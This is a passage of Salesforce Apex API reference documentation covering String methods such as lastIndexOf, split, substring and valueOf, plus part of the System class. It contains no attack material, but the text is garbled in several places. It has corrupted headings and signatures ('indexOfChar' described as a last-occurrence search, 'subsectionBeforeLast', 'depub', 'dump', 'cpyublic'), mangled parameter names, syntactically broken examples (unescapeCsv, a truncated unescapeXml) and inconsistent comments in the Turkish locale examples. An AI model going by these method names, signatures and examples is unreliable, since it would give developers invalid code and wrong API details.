If the substring doesn't occur or `endPosition` is negative, this method returns -1. If `endPosition` is larger than the last index in the current String, the entire String is searched.

Example

```java
String s1 = 'abcdaacd';
Integer i1 =
    s1.lastIndexOf('c', 7);
System.assertEquals(6, i1);
Integer i2 =
    s1.lastIndexOf('c', 3);
System.assertEquals(2, i2);
```

`indexOfChar(character)`

Returns the index of the last occurrence of the character that corresponds to the specified character value.
Signature

public Integer indexOfChar(Integer character)

Parameters

classer

Type: Integer

The integer value of the character in the string.

Return Value

Type: Integer

The index of the last occurrence of the specified character, -1 if the character is not found.

Usage

The index that this method returns is in Unicode code units.

Example

```java
String str = '\u03A9 is Ω (Omega)';
// Get the last occurrence of Omega.
System.assertEquals(5, str.lastIndexOfChar(937));
```

lastIndexOfChar(character, endIndex)

Returns the index of the last occurrence of the character that corresponds to the specified character value, starting from the specified index.

Signature

public Integer lastIndexOfChar(Integer character, Integer endIndex)

Parameters

character

Type: Integer

The integer value of the character to look for.

dendIndex

Type: Integer

The index to end the search at.

Return Value

Type: Integer

The index, starting from the specified start index, of the last occurrence of the specified character. -1 if the character is not found.
Usage
The index that this method returns is in Unicode code units.

Example
This example shows different ways of searching for the index of the last occurrence of the Omega character. The first call to `lastIndexOfChar` doesn’t specify an end index and therefore the returned index is 12, which is the last occurrence of Omega in the entire string. The subsequent calls specify an end index to find the last occurrence of Omega in substrings.

```java
String str = 'Ω and Ω and Ω';
System.assertEquals(12, str.lastIndexOfChar(937));
System.assertEquals(6, str.lastIndexOfChar(937, 11));
System.assertEquals(0, str.lastIndexOfChar(937, 5));
```

`lastIndexOfIgnoreCase(substring)`
Returns the index of the last occurrence of the specified substring regardless of case.

**Signature**

```java
public Integer lastIndexOfIgnoreCase(String substring)
```

**Parameters**

`substring`
Type: `String`

**Return Value**

Type: `Integer`

Usage
If the substring doesn’t occur, this method returns -1.

Example

```java
String s1 = 'abcdaacd';
Integer i1 =
    s1.lastIndexOfIgnoreCase('DAAC');
System.assertEquals(3, i1);
```

`lastIndexOfIgnoreCase(substring, endPosition)`
Returns the index of the last occurrence of the specified substring regardless of case, starting from the character at index 0 and ending at the specified index.

**Signature**

```java
public Integer lastIndexOfIgnoreCase(String substring, Integer endPosition)
```
Parameters

substring
Type: String

endPosition
Type: Integer

Return Value
Type: Integer

Usage
If the substring doesn’t occur or endPosition is negative, this method returns -1. If endPosition is larger than the last index in the current String, the entire String is searched.

Example

```java
String s1 = 'abcdaacd';
Integer i1 =
    s1.lastIndexOfIgnoreCase('C', 7);
System.assertEquals(
    6, i1);
```

left(length)

Returns the leftmost characters of the current String of the specified length.

Signature

```java
public String left(Integer length)
```

Parameters

length
Type: Integer

Return Value
Type: String

Usage
If length is greater than the String size, the entire String is returned.

Example

```java
String s1 = 'abcdaacd';
String s2 =
    s1.left(3);
```
leftPad(length)
Returns the current String padded with spaces on the left and of the specified length.

Signature
public String leftPad(Integer length)

Parameters
length
Type: Integer

Usage
If length is less than or equal to the current String size, the entire String is returned without space padding.

Return Value
Type: String

Example
String s1 = 'abc';
String s2 =
    s1.leftPad(5);
System.assertEquals(
    ' abc', s2);

length()
Returns the number of 16-bit Unicode characters contained in the String.

Signature
public Integer length()

Return Value
Type: Integer

Example
String myString = 'abcd';
Integer result = myString.length();
System.assertEquals(result, 4);
**mid**(startIndex, length)

Returns a new String that begins with the character at the specified zero-based `startIndex` with the number of characters specified by `length`.

**Signature**

```java
public String mid(Integer startIndex, Integer length)
```

**Parameters**

- `startIndex`
  
  Type: Integer
  
  If `startIndex` is negative, it is considered to be zero.

- `length`
  
  Type: Integer
  
  If `length` is negative or zero, an empty String is returned. If `length` is greater than the remaining characters, the remainder of the String is returned.

**Return Value**

Type: String

**Usage**

This method is similar to the `substring(startIndex)` and `substring(startIndex, endIndex)` methods, except that the second argument is the number of characters to return.

**Example**

```java
String s = 'abcde';
String s2 = s.mid(2, 3);
System.assertEquals('cde', s2);
```

**normalizeSpace()**

Returns the current String with leading, trailing, and repeating white space characters removed.

**Signature**

```java
public String normalizeSpace()
```

**Return Value**

Type: String

**Usage**

This method normalizes the following white space characters: space, tab (\t), new line (\n), carriage return (\r), and form feed (\f).
Example

```java
String s1 = 'Salesforce \t force.com';
String s2 = s1.normalizeSpace();
System.assertEquals('Salesforce force.com', s2);
```

`offsetByCodePoints(index, codePointOffset)`

Returns the index of the Unicode code point that is offset by the specified number of code points, starting from the given index.

**Signature**

```java
public Integer offsetByCodePoints(Integer index, Integer codePointOffset)
```

**Parameters**

- `index`
  
  Type: `Integer`
  
  The start index in the string.

- `codePointOffset`
  
  Type: `Integer`
  
  The number of code points to be offset.

**Return Value**

Type: `Integer`

The index that corresponds to the start index that is added to the offset.

**Usage**

Unpaired surrogates within the text range that is specified by `index` and `codePointOffset` count as one code point each.

**Example**

This example calls `offsetByCodePoints` on a string with a start index of 0 (to start from the first character) and an offset of threee code points. The string contains one sequence of supplementary characters in escaped form (a pair of characters). After an offset of three code points when counting from the beginning of the string, the returned code point index is four.

```java
String str = 'A \uD835\uDD0A BC';
System.assertEquals(4, str.offsetByCodePoints(0, 3));
```

`remove(substring)`

Removes all occurrences of the specified substring and returns the String result.
Signature
public String remove(String substring)

Parameters
substring
Type: String

Return Value
Type: String

Example
String s1 = 'Salesforce and force.com';
String s2 =
s1.remove('force');
System.assertEquals('Sales and .com', s2);

removeEnd(substring)
Removes the specified substring only if it occurs at the end of the String.

Signature
public String removeEnd(String substring)

Parameters
substring
Type: String

Return Value
Type: String

Example
String s1 = 'Salesforce and force.com';
String s2 =
s1.removeEnd('.com');
System.assertEquals('Salesforce and force', s2);

removeEndIgnoreCase(substring)
Removes the specified substring only if it occurs at the end of the String using a case-insensitive match.
Signature

public String removeEndIgnoreCase(String substring)

Parameters

substring
  Type: String

Return Value

Type: String

Example

String s1 = 'Salesforce and force.com';
String s2 =
    s1.removeEndIgnoreCase('.COM');
System.assertEquals('Salesforce and force', s2);

removeStart(substring)

Removes the specified substring only if it occurs at the beginning of the String.

Signature

public String removeStart(String substring)

Parameters

substring
  Type: String

Return Value

Type: String

Example

String s1 = 'Salesforce and force.com';
String s2 =
    s1.removeStart('Sales');
System.assertEquals('force and force.com', s2);

removeStartIgnoreCase(substring)

Removes the specified substring only if it occurs at the beginning of the String using a case-insensitive match.
Signature
public String removeStartIgnoreCase(String substring)

Parameters
substring
Type: String

Return Value
Type: String

Example
String s1 = 'Salesforce and force.com';
String s2 =
   s1.removeStartIgnoreCase('SALES');
System.assertEquals('force and force.com', s2);

repeat(numberOfTimes)
Returns the current String repeated the specified number of times.

Signature
public String repeat(Integer numberOfTimes)

Parameters
numberOfTimes
Type: Integer

Return Value
Type: String

Example
String s1 = 'SFDC';
String s2 =
   s1.repeat(2);
System.assertEquals('SFDCSFDC', s2);

repeat(separator, numberOfTimes)
Returns the current String repeated the specified number of times using the specified separator to separate the repeated Strings.
**Signature**

```java
public String repeat(String separator, Integer numberOfTimes)
```

**Parameters**
- `separator`
  - Type: `String`
- `numberOfTimes`
  - Type: `Integer`

**Return Value**
Type: `String`

**Example**
```java
String s1 = 'SFDC';
String s2 = s1.repeat('-', 2);
System.assertEquals('SFDC-SFDC', s2);
```

---

**replace(target, replacement)**

Replaces each substring of a string that matches the literal target sequence `target` with the specified literal replacement sequence `replacement`.

**Signature**

```java
public String replace(String target, String replacement)
```

**Parameters**
- `target`
  - Type: `String`
- `replacement`
  - Type: `String`

**Return Value**
Type: `String`

**Example**
```java
String s1 = 'abcdbca';
String target = 'bc';
String replacement = 'xy';
String s2 = s1.replace(target, replacement);
System.assertEquals('axydxya', s2);
```
replaceAll(regExp, replacement)
Replaces each substring of a string that matches the regular expression \textit{regExp} with the replacement sequence \textit{replacement}.

Signature
\begin{verbatim}
public String replaceAll(String regExp, String replacement)
\end{verbatim}

Parameters
\begin{verbatim}
regExp
Type: String
replacement
Type: String
\end{verbatim}

Return Value
Type: String

Usage
See the Java \texttt{Pattern} class for information on regular expressions.

Example
\begin{verbatim}
String s1 = 'a b c 5 xyz';
String regExp = '[a-zA-Z]';
String replacement = '1';
String s2 = s1.replaceAll(regExp, replacement);
System.assertEquals('1 1 1 5 111', s2);
\end{verbatim}

replaceFirst(regExp, replacement)
Replaces the first substring of a string that matches the regular expression \textit{regExp} with the replacement sequence \textit{replacement}.

Signature
\begin{verbatim}
public String replaceFirst(String regExp, String replacement)
\end{verbatim}

Parameters
\begin{verbatim}
regExp
Type: String
replacement
Type: String
\end{verbatim}

Return Value
Type: String
**Usage**

See the Java `Pattern` class for information on regular expressions.

**Example**

```java
String s1 = 'a b c ll xyz';
String regExp = '[a-zA-Z]{2}';
String replacement = '2';
String s2 = s1.replaceFirst(regExp, replacement);
System.assertEquals('a b c ll 2z', s2);
```

**reverse()**

Returns a String with all the characters reversed.

**Signature**

```java
public String reverse()
```

**Return Value**

Type: `String`

**right(length)**

Returns the rightmost characters of the current String of the specified length.

**Signature**

```java
public String right(Integer length)
```

**Parameters**

- `length`
  - Type: `Integer`
  - If `length` is greater than the String size, the entire String is returned.

**Return Value**

Type: `String`

**Example**

```java
String s1 = 'Hello Max';
String s2 = s1.right(3);
System.assertEquals('Max', s2);
```
**rightPad(length)**
Returns the current String padded with spaces on the right and of the specified length.

**Signature**
```
public String rightPad(Integer length)
```

**Parameters**
- `length`  
  Type: `Integer`  
  If `length` is less than or equal to the current String size, the entire String is returned without space padding.

**Return Value**
Type: `String`

**Example**
```
String s1 = 'abc';
String s2 =
    s1.rightPad(5);
System.assertEquals(  
    'abc ', s2);
```

**split(regExp)**
Returns a list that contains each substring of the String that is terminated by either the regular expression `regExp` or the end of the String.

**Signature**
```
public String[] split(String regExp)
```

**Parameters**
- `regExp`  
  Type: `String`

**Return Value**
Type: `String[]`

**Note:** In API version 34.0 and earlier, a zero-width `regExp` value produces an empty list item at the beginning of the method’s output.

**Usage**
See the Java `Pattern` class for information on regular expressions.
The substrings are placed in the list in the order in which they occur in the String. If `regExp` does not match any part of the String, the resulting list has just one element containing the original String.

For example, for `String s = 'boo:and:foo'`:
- `s.split(':', 2)` results in `{'boo', 'and:foo'}`
- `s.split(':', 5)` results in `{'boo', 'and', 'foo'}`
- `s.split(':', -2)` results in `{'boo', 'and', 'foo'}`
- `s.split('o', 5)` results in `{'b', '', ':and:f', '', ''}`
- `s.split('o', -2)` results in `{'b', '', ':and:f', '', ''}`
- `s.split('o', 0)` results in `{'b', '', ':and:f'}`

Example

In the following example, a string is split using a backslash as a delimiter.

```java
public String splitPath(String filename) {
    if (filename == null)
        return null;
    List<String> parts = filename.split('\\');
    filename = parts[parts.size()-1];
    return filename;
}
```

// For example, if the file path is e:\\processed\\PPDSF100111.csv
// This method splits the path and returns the last part.
// Returned filename is PPDSF100111.csv

**split(regExp, limit)**

Returns a list that contains each substring of the String that is terminated by either the regular expression `regExp` or the end of the String.

**Signature**

```java
public String[] split(String regExp, Integer limit)
```

**Parameters**

- `regExp`
  - Type: `String`
  - A regular expression.
- `limit`
  - Type: `Integer`

**Return Value**

- Type: `String[]`

**Note:** In API version 34.0 and earlier, a zero-width `regExp` value produces an empty list item at the beginning of the method’s output.
Usage
The optional \texttt{limit} parameter controls the number of times the pattern is applied and therefore affects the length of the list.

- If \texttt{limit} is greater than zero:
  - The pattern is applied a maximum of \((\texttt{limit} - 1)\) times.
  - The list's length is no greater than \texttt{limit}.
  - The list's last entry contains all input beyond the last matched delimiter.

- If \texttt{limit} is non-positive, the pattern is applied as many times as possible, and the list can have any length.
- If \texttt{limit} is zero, the pattern is applied as many times as possible, the list can have any length, and trailing empty strings are discarded.

\textbf{splitByCharacterType()}

Splits the current String by character type and returns a list of contiguous character groups of the same type as complete tokens.

\textbf{Signature}

\texttt{public List<String> splitByCharacterType()}

\textbf{Return Value}

Type: \texttt{List\langle String\rangle}

\textbf{Usage}

For more information about the character types used, see \texttt{java.lang.Character.getType(char)}.

\textbf{Example}

\begin{verbatim}
String s1 = 'Force.com platform';
List<String> ls =
    s1.splitByCharacterType();
System.debug(ls);
// Writes this output:
// (F, orce, ., com, , platform)
\end{verbatim}

\textbf{splitByCharacterTypeCamelCase()}

Splits the current String by character type and returns a list of contiguous character groups of the same type as complete tokens, with the following exception: the uppercase character, if any, immediately preceding a lowercase character token belongs to the following character token rather than to the preceding.

\textbf{Signature}

\texttt{public List<String> splitByCharacterTypeCamelCase()}

\textbf{Return Value}

Type: \texttt{List\langle String\rangle}
Usage
For more information about the character types used, see java.lang.Character.getType(char).

Example
```
String s1 = 'Force.com platform';
List<String> ls =
    s1.splitByCharacterTypeCamelCase();
System.debug(ls);
// Writes this output:
// (Force, ., com, , platform)
```

`startsWith(prefix)`
Returns true if the String that called the method begins with the specified prefix.

Signature
```
public Boolean startsWith(String prefix)
```

Parameters
- `prefix` Type: String

Return Value
Type: Boolean

Example
```
String s1 = 'AE86 vs EK9';
System.assert(s1.startsWith('AE86'));
```

`startsWithIgnoreCase(prefix)`
Returns true if the current String begins with the specified prefix regardless of the prefix case.

Signature
```
public Boolean startsWithIgnoreCase(String prefix)
```

Parameters
- `prefix` Type: String

Return Value
Type: Boolean

Example
```
String s1 = 'AE86 vs EK9';
System.assert(s1.startsWithIgnoreCase('AE86'));
```
Example

```java
String s1 = 'AE86 vs EK9';
System.assert(s1.startsWithIgnoreCase('ae86'));
```

**stripHtmlTags(htmlInput)**
Removes HTML markup from the input string and returns the plain text.

**Signature**

```java
public String stripHtmlTags(String htmlInput)
```

**Parameters**

*htmlInput*  
Type: *String*

**Return Value**  
Type: *String*

**Example**

```java
String s1 = '<b>hello world</b>';  
String s2 = s1.stripHtmlTags();  
System.assertEquals('hello world', s2);
```

**substring(startIndex)**
Returns a new String that begins with the character at the specified zero-based *startIndex* and extends to the end of the String.

**Signature**

```java
public String substring(Integer startIndex)
```

**Parameters**

*startIndex*  
Type: *Integer*

**Return Value**  
Type: *String*

**Example**

```java
String s1 = 'hamburger';  
System.assertEquals('burger', s1.substring(3));
```
**substring(startIndex, endIndex)**

Returns a new String that begins with the character at the specified zero-based `startIndex` and extends to the character at `endIndex - 1`.

**Signature**

```java
public String substring(Integer startIndex, Integer endIndex)
```

**Parameters**

- `startIndex`
  - Type: `Integer`
- `endIndex`
  - Type: `Integer`

**Return Value**

Type: `String`

**Example**

```java
'hamburger'.substring(4, 8);
// Returns "urge"

'smiles'.substring(1, 5);
// Returns "mile"
```

**substringAfter(separator)**

Returns the substring that occurs after the first occurrence of the specified separator.

**Signature**

```java
public String substringAfter(String separator)
```

**Parameters**

- `separator`
  - Type: `String`

**Return Value**

Type: `String`

**Example**

```java
String s1 = 'Force.com.platform';
String s2 = s1.substringAfter('.');
```
System.assertEquals('com.platform', s2);

**substringAfterLast(separator)**

Returns the substring that occurs after the last occurrence of the specified separator.

**Signature**

```java
cpyublic String substringAfterLast(String separator)
```

**Parameters**

- `separator`
  - Type: `String`

**Return Value**

- Type: `String`

**Example**

```java
String s1 = 'Force.com.platform';
String s2 =
    s1.substringAfterLast('.');
System.assertEquals('platform', s2);
```

**substringBefore(separator)**

Returns the substring that occurs before the first occurrence of the specified separator.

**Signature**

```java
cpyublic String substringBefore(String separator)
```

**Parameters**

- `separator`
  - Type: `String`

**Return Value**

- Type: `String`

**Example**

```java
String s1 = 'Force.com.platform';
String s2 =
    s1.substringBefore('.');
```

subsectionBeforeLast(separator)
Returns the substring that occurs before the last occurrence of the specified separator.

Signature
public String substringBeforeLast(String separator)

Parameters
separator
Type: String

Return Value
Type: String

Example
String s1 = 'Force.com.platform';
String s2 =
    s1.substringBeforeLast('.');
System.assertEquals('Force.com', s2);

substringBetween(tag)
Returns the substring that occurs between two instances of the specified tag String.

Signature
public String substringBetween(String tag)

Parameters
tag
Type: String

Return Value
Type: String

Example
String s1 = 'tagYellowtag';
String s2 = s1.substringBetween('tag');
System.assertEquals('Yellow', s2);
**substringBetween(open, close)**

Returns the substring that occurs between the two specified Strings.

**Signature**

```
public String substringBetween(String open, String close)
```

**Parameters**

- `open`
  - Type: String
- `close`
  - Type: String

**Return Value**

Type: String

**Example**

```java
String s1 = 'xYellowy';
String s2 = s1.substringBetween('x', 'y');
System.assertEquals('Yellow', s2);
```

**swapCase()**

Swaps the case of all characters and returns the resulting String by using the default (English US) locale.

**Signature**

```
public String swapCase()
```

**Return Value**

Type: String

**Usage**

Upper case and title case converts to lower case, and lower case converts to upper case.

**Example**

```java
String s1 = 'Force.com';
String s2 = s1.swapCase();
System.assertEquals('fORCE.COM', s2);
```
**toLowerCase()**
Converts all of the characters in the String to lowercase using the rules of the default (English US) locale.

**Signature**

```java
public String toLowerCase()
```

**Return Value**
Type: String

**Example**

```java
String s1 = 'This is hard to read';
System.assertEquals('this is hard to read',
                     s1.toLowerCase());
```

**toLowerCase(locale)**
Converts all of the characters in the String to lowercase using the rules of the specified locale.

**Signature**

```java
public String toLowerCase(String locale)
```

**Parameters**
locale
Type: String

**Return Value**
Type: String

**Example**

```java
// Example in Turkish
// An uppercase dotted "i", \u0304, which is İ
// Note this contains both a İ as well as a I
String s1 = 'KIYMETLİ';
String s1Lower = s1.toLowerCase('tr');
// Dotless lowercase "i", \u0131, which is ı
// Note this has both a ı and ı
String expected = 'kıymetli';
System.assertEquals(expected, s1Lower);
// Note if this was done in toLowerCase('en'), it would output 'kiymetli'
```

**toUpperCase()**
Converts all of the characters in the String to uppercase using the rules of the default (English US) locale.
Signature

public String toUpperCase()

Return Value

Type: String

Example

```java
String myString1 = 'abcd';
String myString2 = 'ABCD';
myString1 = myString1.toUpperCase();
Boolean result = myString1.equals(myString2);
System.assertEquals(result, true);
```

toUpperCase(locale)

Converts all of the characters in the String to the uppercase using the rules of the specified locale.

Signature

public String toUpperCase(String locale)

Parameters

locale

Type: String

Return Value

Type: String

Example

```java
// Example in Turkish
// Dotless lowercase "i", \u0131, which is ı
// Note this has both a i and ğ
String s1 = 'ımkansız';
String s1Upper = s1.toUpperCase('tr');
// An uppercase dotted "i", \u0304, which is İ
// Note this contains both a İ as well as a İ
String expected = 'İMKANŞIZ';
System.assertEquals(expected, s1Upper);
```

trim()

Returns a copy of the string that no longer contains any leading or trailing white space characters.
Signature
public String trim()

Return Value
Type: String

Usage
Leading and trailing ASCII control characters such as tabs and newline characters are also removed. White space and control characters that aren’t at the beginning or end of the sentence aren’t removed.

Example
```java
String s1 = ' Hello! ';  
String trimmed = s1.trim();  
System.assertEquals('Hello!', trimmed);
```

uncapitalize()
Returns the current String with the first letter in lowercase.

Signature
public String uncapitalize()

Return Value
Type: String

Example
```java
String s1 = 'Hello max';  
String s2 = s1.uncapitalize();  
System.assertEquals('hello max', s2);
```

unescapeCsv()
Returns a String representing an unescaped CSV column.

Signature
public String unescapeCsv()
Return Value
Type: String

Usage
If the String is enclosed in double quotes and contains a comma, newline or double quote, quotes are removed. Also, any double quote escaped characters (a pair of double quotes) are unescaped to just one double quote.
If the String is not enclosed in double quotes, or is and does not contain a comma, newline or double quote, it is returned unchanged.

Example

```java
String s1 = "Max1, "Max2""
String s2 = s1.unescapeCsv();
System.assertEquals("Max1, "Max2",
                    s2);
```

unescapeEcmaScript()
Unescapes any EcmaScript literals found in the String.

Signature
public String unescapeEcmaScript()

Return Value
Type: String

Example

```java
String s1 = '\"3.8","3.9\"';
String s2 = s1.unescapeEcmaScript();
System.assertEquals('"3.8","3.9"',
                    s2);
```

unescapeHtml3()
Unescapes the characters in a String using HTML 3.0 entities.

Signature
public String unescapeHtml3()
Return Value
Type: String

Example
```java
String s1 = '
&quot;&lt;Black&amp;White&gt;&quot;';
String s2 = s1.unescapeHtml3();
System.assertEquals( '"&lt;Black&White&gt;"', s2);
```

unescapeHtml4()
Unescapes the characters in a String using HTML 4.0 entities.

Signature
```java
public String unescapeHtml4()
```

Return Value
Type: String

Usage
If an entity isn’t recognized, it is kept as is in the returned string.

Example
```java
String s1 = '
&quot;&lt;Black&amp;White&gt;&quot;';
String s2 = s1.unescapeHtml4();
System.assertEquals( '"&lt;Black&White&gt;"', s2);
```

unescapeJava()

Returns a String whose Java literals are unescaped. Literals unescaped include escape sequences for quotes (\") and control characters, such as tab (\t), and carriage return (\n).

Signature
```java
public String unescapeJava()
```

Return Value
Type: String
The unescaped string.

Example

```java
String s = 'Company: "Salesforce.com"';
String unescapedStr = s.unescapeJava();
System.assertEquals('Company: "Salesforce.com"', unescapedStr);
```

**unescapeUnicode()**

Returns a String whose escaped Unicode characters are unescaped.

**Signature**

`public String unescapeUnicode()`

**Return Value**

Type: `String`

The unescaped string.

Example

```java
String s = 'De onde você é?';
String unescapedStr = s.unescapeUnicode();
System.assertEquals('De onde você é?', unescapedStr);
```

**unescapeXml()**

Unescapes the characters in a String using XML entities.

**Signature**

`public String unescapeXml()`

**Return Value**

Type: `String`

**Usage**

Supports only the five basic XML entities (gt, lt, quot, amp, apos). Does not support DTDs or external entities.

Example

```java
String s1 = '
    \\
    &quot;&lt;Black&amp;White&gt;&quot;';
String s2 = s1.unescapeXml();
System.assertEquals(
```
valueOf (dateToConvert)
Returs a String that represents the specified Date in the standard "yyy-MM-dd" format.

Signature
public static String valueOf(Date dateToConvert)

Parameters

dateToConvert
 Type: Date

Return Value
Type: String

Example

date myDate = Date.today();
String sDate = String.valueOf(myDate);

valueOf (datetimeToConvert)
Returs a String that represents the specified Datetime in the standard "yyy-MM-dd HH:mm:ss" format for the local time zone.

Signature
public static String valueOf(Datetime datetimeToConvert)

Parameters

datetimeToConvert
 Type: Datetime

Return Value
Type: String

Example

datetime dt = datetime.newInstance(1996, 6, 23);
String sDateTime = String.valueOf(dt);
System.assertEquals('1996-06-23 00:00:00', sDateTime);
**valueOf(decimalToConvert)**
Returns a String that represents the specified Decimal.

**Signature**
```
public static String valueOf(Decimal decimalToConvert)
```

**Parameters**
- `decimalToConvert`
  Type: `Decimal`

**Return Value**
Type: `String`

**Example**
```
Decimal dec = 3.14159265;
String sDecimal = String.valueOf(dec);
System.assertEquals('3.14159265', sDecimal);
```

**valueOf(doubleToConvert)**
Returns a String that represents the specified Double.

**Signature**
```
public static String valueOf(Double doubleToConvert)
```

**Parameters**
- `doubleToConvert`
  Type: `Double`

**Return Value**
Type: `String`

**Example**
```
Double myDouble = 12.34;
String myString =
    String.valueOf(myDouble);
System.assertEquals('12.34', myString);
```

**valueOf(integerToConvert)**
Returns a String that represents the specified Integer.
**valueOf(Integer integerToConvert)**

Parameters

integerToConvert
Type: Integer

Return Value
Type: String

Example

```
Integer myInteger = 22;
String sInteger = String.valueOf(myInteger);
System.assertEquals('22', sInteger);
```

**valueOf(Long longToConvert)**

Returns a String that represents the specified Long.

Signature

```
public static String valueOf(Long longToConvert)
```

Parameters

longToConvert
Type: Long

Return Value
Type: String

Example

```
Long myLong = 123456789;
String sLong = String.valueOf(myLong);
System.assertEquals('123456789', sLong);
```

**valueOf(toConvert)**

Returns a string representation of the specified object argument.

Signature

```
public static String valueOf(Object toConvert)
```
Parameters

toConvert
  Type: Object

Return Value
Type: String

Usage
If the argument is not a String, the `valueOf` method converts it into a String by calling the `toString` method on the argument, if available, or any overridden `toString` method if the argument is a user-defined type. Otherwise, if no `toString` method is available, it returns a String representation of the argument.

Example

```java
List<Integer> ls =
    new List<Integer>();
ls.add(10);
ls.add(20);
String strList =
    String.valueOf(ls);
System.assertEquals('(10, 20)', strList);
```

`valueOfGmt(datetimeToConvert)`

Returns a String that represents the specified Datetime in the standard "yyyy-MM-dd HH:mm:ss" format for the GMT time zone.

Signature

```java
public static String valueOfGmt(Datetime datetimeToConvert)
```

Parameters

datetimeToConvert
  Type: Datetime

Return Value
Type: String

Example

```java
// For a PST timezone:
DateTime dt = datetime.newInstance(2001, 9, 14);
String sDateTime = String.valueOfGmt(dt);
System.assertEquals('2001-09-14 07:00:00', sDateTime);
```
System Class
Contains methods for system operations, such as writing debug messages and scheduling jobs.

Namespace
System

System Methods
The following are methods for System. All methods are static.

IN THIS SECTION:
- `abortJob(jobId)`
  Stops the specified job. The stopped job is still visible in the job queue in the Salesforce user interface.
- `assert(condition, msg)`
  Asserts that the specified condition is true. If it is not, a fatal error is returned that causes code execution to halt.
- `assertEquals(expected, actual, msg)`
  Asserts that the first two arguments are the same. If they are not, a fatal error is returned that causes code execution to halt.
- `assertNotEquals(expected, actual, msg)`
  Asserts that the first two arguments are different. If they are the same, a fatal error is returned that causes code execution to halt.
- `currentPageReference()`
  Returns a reference to the current page. This is used with Visualforce pages.
- `currentTimeMillis()`
  Returns the current time in milliseconds, which is expressed as the difference between the current time and midnight, January 1, 1970 UTC.
- `debug(msg)`
  Writes the specified message, in string format, to the execution debug log. The DEBUG log level is used.
- `debug(logLevel, msg)`
  Writes the specified message, in string format, to the execution debug log with the specified log level.
- `enqueueJob(queueableObj)`
  Adds a job to the Apex job queue that corresponds to the specified queueable class and returns the job ID.
- `equals(obj1, obj2)`
  Returns true if both arguments are equal. Otherwise, returns false.
- `getApplicationReadWriteMode()`
  Returns the read write mode set for an organization during Salesforce.com upgrades and downtimes.
- `hashCode(obj)`
  Returns the hash code of the specified object.
- `isBatch()`
  Returns true if the currently executing code is invoked by a batch Apex job; false otherwise.
isFuture()
Returns true if the currently executing code is invoked by code contained in a method annotated with future; false otherwise.

isScheduled()
Returns true if the currently executing code is invoked by a scheduled Apex job; false otherwise.

now()
Returns the current date and time in the GMT time zone.

process(workItemIds, action, comments, nextApprover)
Processes the list of work item IDs.

purgeOldAsyncJobs(dt)
Deletes asynchronous Apex job records for jobs that have finished execution before the specified date with a Completed, Aborted, or Failed status, and returns the number of records deleted.

requestVersion()
Returns a two-part version that contains the major and minor version numbers of a package.

resetPassword(userId, sendUserEmail)
Resets the password for the specified user.

runAs(version)
Changes the current package version to the package version specified in the argument.

runAs(userSObject)
Changes the current user to the specified user.

schedule(jobName, cronExpression, schedulableClass)
Use schedule with an Apex class that implements the Schedulable interface to schedule the class to run at the time specified by a Cron expression.

scheduleBatch(batchable, jobName, minutesFromNow)
Schedules a batch job to run once in the future after the specified time interval and with the specified job name.

scheduleBatch(batchable, jobName, minutesFromNow, scopeSize)
Schedules a batch job to run once in the future after the specified the time interval, with the specified job name and scope size. Returns the scheduled job ID (CronTrigger ID).

setPassword(userId, password)
Sets the password for the specified user.

submit(workItemIds, comments, nextApprover)
Submits the processed approvals. The current user is the submitter and the entry criteria is evaluated for all processes applicable to the current user.

today()
Returns the current date in the current user’s time zone.

abortJob(jobId)
Stops the specified job. The stopped job is still visible in the job queue in the Salesforce user interface.

**Signature**

```java
public static Void abortJob(String jobId)
```
Parameters

jobId
Type: String

The jobId is the ID associated with either AsyncApexJob or CronTrigger.

Return Value
Type: Void

Usage
The following methods return the job ID that can be passed to abortJob.

- **System.schedule method**—returns the CronTrigger object ID associated with the scheduled job as a string.
- **SchedulableContext.getTriggerId method**—returns the CronTrigger object ID associated with the scheduled job as a string.
- **getJobId method**—returns the AsyncApexJob object ID associated with the batch job as a string.
- **Database.executeBatch method**—returns the AsyncApexJob object ID associated with the batch job as a string.

**assert(condition, msg)**

Asserts that the specified condition is true. If it is not, a fatal error is returned that causes code execution to halt.

Signature

```java
public static Void assert(Boolean condition, Object msg)
```

Parameters

- **condition**
  Type: Boolean

- **msg**
  Type: Object
  (Optional) Custom message returned as part of the error message.

Return Value
Type: Void

Usage
You can’t catch an assertion failure using a try/catch block even though it is logged as an exception.

**assertEquals(expected, actual, msg)**

Asserts that the first two arguments are the same. If they are not, a fatal error is returned that causes code execution to halt.
Signature

```java
public static Void assertEquals(Object expected, Object actual, Object msg)
```

Parameters

**expected**
- Type: Object
- Specifies the expected value.

**actual**
- Type: Object
- Specifies the actual value.

**msg**
- Type: Object
- (Optional) Custom message returned as part of the error message.

Return Value

Type: Void

Usage

You can’t catch an assertion failure using a try/catch block even though it is logged as an exception.

**assertNotEquals(expected, actual, msg)**

Asserts that the first two arguments are different. If they are the same, a fatal error is returned that causes code execution to halt.

Signature

```java
public static Void assertNotEquals(Object expected, Object actual, Object msg)
```

Parameters

**expected**
- Type: Object
- Specifies the expected value.

**actual**
- Type: Object
- Specifies the actual value.

**msg**
- Type: Object
- (Optional) Custom message returned as part of the error message.

Return Value

Type: Void
Usage
You can’t catch an assertion failure using a try/catch block even though it is logged as an exception.

currentPageReference()
Returns a reference to the current page. This is used with Visualforce pages.

Signature
public static System.PageReference currentPageReference()

Return Value
Type: System.PageReference

Usage
For more information, see PageReference Class.

currentTimeMillis()
Returns the current time in milliseconds, which is expressed as the difference between the current time and midnight, January 1, 1970 UTC.

Signature
public static Long currentTimeMillis()

Return Value
Type: Long

depub (msg)
Writes the specified message, in string format, to the execution debug log. The DEBUG log level is used.

Signature
public static Void debug(Object msg)

Parameters
msg
  Type: Object

Return Value
Type: Void
Usage

If the `msg` argument is not a string, the `debug` method calls `String.valueOf` to convert it into a string. The `String.valueOf` method calls the `toString` method on the argument, if available, or any overridden `toString` method if the argument is a user-defined type. Otherwise, if no `toString` method is available, it returns a string representation of the argument.

If the log level for Apex Code is set to `DEBUG` or higher, the message of this debug statement will be written to the debug log.

Note that when a map or set is printed, the output is sorted in key order and is surrounded with square brackets (`[]`). When an array or list is printed, the output is enclosed in parentheses (`()`).

Tip: Calls to `System.debug` are not counted as part of Apex code coverage.

For more information on log levels, see “Debug Log Levels” in the Salesforce online help.

dump(logLevel, msg)

Writes the specified message, in string format, to the execution debug log with the specified log level.

Signature

```java
public static Void debug(LoggingLevel logLevel, Object msg)
```

Parameters

- **logLevel**
  - Type: `System.LoggingLevel`
  - The logging level to set for this method.

- **msg**
  - Type: Object
  - The message or object to write in string format to the execution debug log.

Return Value

Type: Void

Usage

